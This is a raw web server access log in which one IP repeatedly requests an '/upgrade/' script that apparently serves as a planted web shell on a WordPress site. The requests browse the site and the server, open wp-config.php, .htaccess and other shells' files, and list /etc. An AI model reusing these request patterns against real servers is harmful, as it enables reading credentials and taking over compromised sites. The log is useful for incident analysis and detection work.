45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Ffilefuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 11240 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Ffilefuns.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5799 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7962 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 12010 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8976 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8426 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 9715 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 10826 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 19156 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:09 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fcgi-bin HTTP/1.1" 200 5789 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages HTTP/1.1" 200 6478 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fpublic-languages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwp-admin HTTP/1.1" 200 13294 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 16561 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 10389 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 9762 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-links-opml.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 10317 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F&option=folder HTTP/1.1" 200 8467 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwp-content HTTP/1.1" 200 6597 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 21074 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 11871 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 25727 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-login.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8727 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 10081 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:10 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 9325 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 10522 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Ferror_log&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2F HTTP/1.1" 200 7861 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F&option=dir HTTP/1.1" 200 8465 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade HTTP/1.1" 200 6863 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer HTTP/1.1" 200 6399 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwidget-transformer" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 9970 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-config-sample.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 10732 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8495 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8454 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 8735 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 9578 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F.well-known HTTP/1.1" 200 6048 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 52711 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fthoms.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 11331 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwp-includes HTTP/1.1" 200 26033 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:11 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F HTTP/1.1" 200 16168 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F%2Fwp-settings.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbiotaiwan.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F HTTP/1.1" 200 7757 "http://163.245.207.76:443/upgrade/index.php?location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?full_path=%2Fhome&location=%2F HTTP/1.1" 200 7780 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?full_path=%2Fhome&location=%2Fhome%2F HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/index.php?full_path=%2Fhome&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2Fhome%2F&option=folder HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/?full_path=%2F&location=%2F HTTP/1.1" 200 7760 "http://163.245.207.76:443/upgrade/?full_path=%2F&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2Frun HTTP/1.1" 200 11690 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Frun" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2Fafs HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fafs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2Fsrv HTTP/1.1" 200 5697 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fsrv" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?file_location=%2F%2F%2F.autorelabel&location=%2F%2F HTTP/1.1" 200 7805 "http://163.245.207.76:443/upgrade/index.php?file_location=%2F%2F%2F.autorelabel&location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?file_location=%2F%2F%2Fquota.user&location=%2F%2F HTTP/1.1" 200 8531 "http://163.245.207.76:443/upgrade/index.php?file_location=%2F%2F%2Fquota.user&location=%2F%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2F&option=dir HTTP/1.1" 200 7757 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2F&option=dir" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:42:12 -0400] "GET /upgrade/index.php?location=%2F%2Fetc HTTP/1.1" 200 28599 "http://163.245.207.76:443/upgrade/index.php?location=%2F%2Fetc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
